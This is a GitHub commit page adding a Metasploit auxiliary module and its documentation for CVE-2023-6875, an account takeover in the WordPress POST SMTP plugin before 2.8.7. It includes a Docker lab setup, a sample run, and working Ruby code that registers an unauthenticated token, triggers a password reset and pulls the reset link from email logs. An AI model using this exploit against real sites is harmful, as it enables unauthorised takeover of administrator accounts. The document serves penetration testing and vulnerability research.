-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19596, Wordpress Plugin Post SMTP Account Takeover
- Loading branch information
Showing
4 changed files
with
236 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -65,3 +65,4 @@ hash-form | |
give | ||
ultimate-member | ||
wp-fastest-cache | ||
post-smtp |
105 changes: 105 additions & 0 deletions
105
documentation/modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,105 @@ | ||
## Vulnerable Application | ||
|
||
The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege | ||
escalation where an unauthenticated user is able to reset the password | ||
of an arbitrary user. This is done by requesting a password reset, then | ||
viewing the latest email logs to find the associated password reset email. | ||
|
||
### Install | ||
|
||
1. Create `wp_post_smtp_acct_takeover.docker-compose.yml` with the content: | ||
``` | ||
version: '3.1' | ||
services: | ||
wordpress: | ||
image: wordpress:latest | ||
restart: always | ||
ports: | ||
- 5555:80 | ||
environment: | ||
WORDPRESS_DB_HOST: db | ||
WORDPRESS_DB_USER: chocapikk | ||
WORDPRESS_DB_PASSWORD: dummy_password | ||
WORDPRESS_DB_NAME: exploit_market | ||
mem_limit: 512m | ||
volumes: | ||
- wordpress:/var/www/html | ||
db: | ||
image: mysql:5.7 | ||
restart: always | ||
environment: | ||
MYSQL_DATABASE: exploit_market | ||
MYSQL_USER: chocapikk | ||
MYSQL_PASSWORD: dummy_password | ||
MYSQL_RANDOM_ROOT_PASSWORD: '1' | ||
volumes: | ||
- db:/var/lib/mysql | ||
volumes: | ||
wordpress: | ||
db: | ||
``` | ||
2. `docker-compose -f wp_post_smtp_acct_takeover.docker-compose.yml up` | ||
3. `wget https://downloads.wordpress.org/plugin/post-smtp.2.8.6.zip` | ||
4. `unzip post-smtp.2.8.6.zip` | ||
5. `docker cp post-smtp <wordpress_container_id>:/var/www/html/wp-content/plugins` | ||
6. Complete the setup of wordpress | ||
7. Enable the post-smtp plugin, select "default" for the SMTP service | ||
1. Complete the setup using random information, it isn't validated. | ||
8. Update permalink structure per https://github.com/rapid7/metasploit-framework/pull/18164#issuecomment-1623744244 | ||
1. Settings -> Permalinks -> Permalink structure -> Select "Post name" -> Save Changes. | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Install the vulnerable plugin | ||
2. Start msfconsole | ||
3. Do: `use auxiliary/admin/http/wp_post_smtp_acct_takeover` | ||
4. Do: `set rhost 127.0.0.1` | ||
5. Do: `set rport 5555` | ||
6. Do: `set ssl false` | ||
7. Do: `set username <username>` | ||
8. Do: `set verbose true` | ||
9. Do: `run` | ||
10. Visit the output URL to reset the user's password. | ||
|
||
## Options | ||
|
||
### USERNAME | ||
|
||
The username to perform a password reset against | ||
|
||
## Scenarios | ||
|
||
### Wordpress 6.6.2 with SMTP Post 2.8.6 on Docker | ||
|
||
``` | ||
msf6 > use auxiliary/admin/http/wp_post_smtp_acct_takeover | ||
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rhost 127.0.0.1 | ||
rhost => 127.0.0.1 | ||
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set rport 5555 | ||
rport => 5555 | ||
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set ssl false | ||
ssl => false | ||
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set username admin | ||
username => admin | ||
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > set verbose true | ||
verbose => true | ||
msf6 auxiliary(admin/http/wp_post_smtp_acct_takeover) > run | ||
[*] Running module against 127.0.0.1 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[*] Checking /wp-content/plugins/post-smtp/readme.txt | ||
[*] Found version 2.8.6 in the plugin | ||
[+] The target appears to be vulnerable. | ||
[*] Attempting to Registering token fUefO7U12dXtb0DM on device GP3tOFuMfFErw | ||
[+] Succesfully created token: fUefO7U12dXtb0DM | ||
[*] Requesting logs | ||
[*] Requesting email content from logs for ID 4 | ||
[+] Full text of log saved to: /home/mtcyr/.msf4/loot/20241029142103_default_127.0.0.1_wordpress.post_s_367186.txt | ||
[+] Reset URL: http://127.0.0.1:5555/wp-login.php?action=rp&key=4kxMwfuvyQtcUDVrh985&login=admin&wp_lang=en_US | ||
[*] Auxiliary module execution completed | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
115 changes: 115 additions & 0 deletions
115
modules/auxiliary/admin/http/wp_post_smtp_acct_takeover.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HTTP::Wordpress | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Wordpress POST SMTP Account Takeover', | ||
'Description' => %q{ | ||
The POST SMTP WordPress plugin prior to 2.8.7 is affected by a privilege | ||
escalation where an unauthenticated user is able to reset the password | ||
of an arbitrary user. This is done by requesting a password reset, then | ||
viewing the latest email logs to find the associated password reset email. | ||
}, | ||
'Author' => [ | ||
'h00die', # msf module | ||
'Ulysses Saicha', # Discovery, POC | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => [ | ||
['CVE', '2023-6875'], | ||
['URL', 'https://github.com/UlyssesSaicha/CVE-2023-6875/tree/main'], | ||
], | ||
'DisclosureDate' => '2024-01-10', | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'SideEffects' => [IOC_IN_LOGS], | ||
'Reliability' => [] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
OptString.new('USERNAME', [true, 'Username to password reset', '']), | ||
] | ||
) | ||
end | ||
|
||
def register_token | ||
token = Rex::Text.rand_text_alphanumeric(10..16) | ||
device = Rex::Text.rand_text_alphanumeric(10..16) | ||
vprint_status("Attempting to Registering token #{token} on device #{device}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'connect-app'), | ||
'headers' => { 'fcm-token' => token, 'device' => device } | ||
) | ||
fail_with(Failure::Unreachable, 'Connection failed') unless res | ||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely not vulnerable') if res.code == 401 | ||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response, likely unpredicted URL structure') if res.code == 404 | ||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 | ||
print_good("Succesfully created token: #{token}") | ||
return token, device | ||
end | ||
|
||
def check | ||
unless wordpress_and_online? | ||
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') | ||
end | ||
|
||
checkcode = check_plugin_version_from_readme('post-smtp', '2.8.7') | ||
if checkcode == Msf::Exploit::CheckCode::Safe | ||
return Msf::Exploit::CheckCode::Safe('POST SMTP version not vulnerable') | ||
end | ||
|
||
checkcode | ||
end | ||
|
||
def run | ||
fail_with(Failure::NotFound, "#{datastore['USERNAME']} not found on this wordpress install") unless wordpress_user_exists? datastore['USERNAME'] | ||
token, device = register_token | ||
fail_with(Failure::UnexpectedReply, "Password reset for #{datastore['USERNAME']} failed") unless reset_user_password(datastore['USERNAME']) | ||
print_status('Requesting logs') | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'wp-json', 'post-smtp', 'v1', 'get-logs'), | ||
'headers' => { 'fcm-token' => token, 'device' => device } | ||
) | ||
fail_with(Failure::Unreachable, 'Connection failed') unless res | ||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 | ||
json_doc = res.get_json_document | ||
# we want the latest email as that's the one with the password reset | ||
doc_id = json_doc['data'][0]['id'] | ||
print_status("Requesting email content from logs for ID #{doc_id}") | ||
res = send_request_cgi( | ||
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin.php'), | ||
'headers' => { 'fcm-token' => token, 'device' => device }, | ||
'vars_get' => { 'access_token' => token, 'type' => 'log', 'log_id' => doc_id } | ||
) | ||
fail_with(Failure::Unreachable, 'Connection failed') unless res | ||
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200 | ||
|
||
path = store_loot( | ||
'wordpress.post_smtp.log', | ||
'text/plain', | ||
rhost, | ||
res.body, | ||
"#{doc_id}.log" | ||
) | ||
print_good("Full text of log saved to: #{path}") | ||
# https://rubular.com/r/DDQpKElcH42Qxg | ||
# example URL http://127.0.0.1:5555/wp-login.php?action=rp&key=vy0MNNZZeykpDMArmJgu&login=admin&wp_lang=en_US | ||
if res.body =~ /^(.*key=.+)$/ | ||
print_good("Reset URL: #{::Regexp.last_match(1)}") | ||
return | ||
end | ||
print_bad('Reset URL not found, manually review log stored in loot.') | ||
end | ||
end |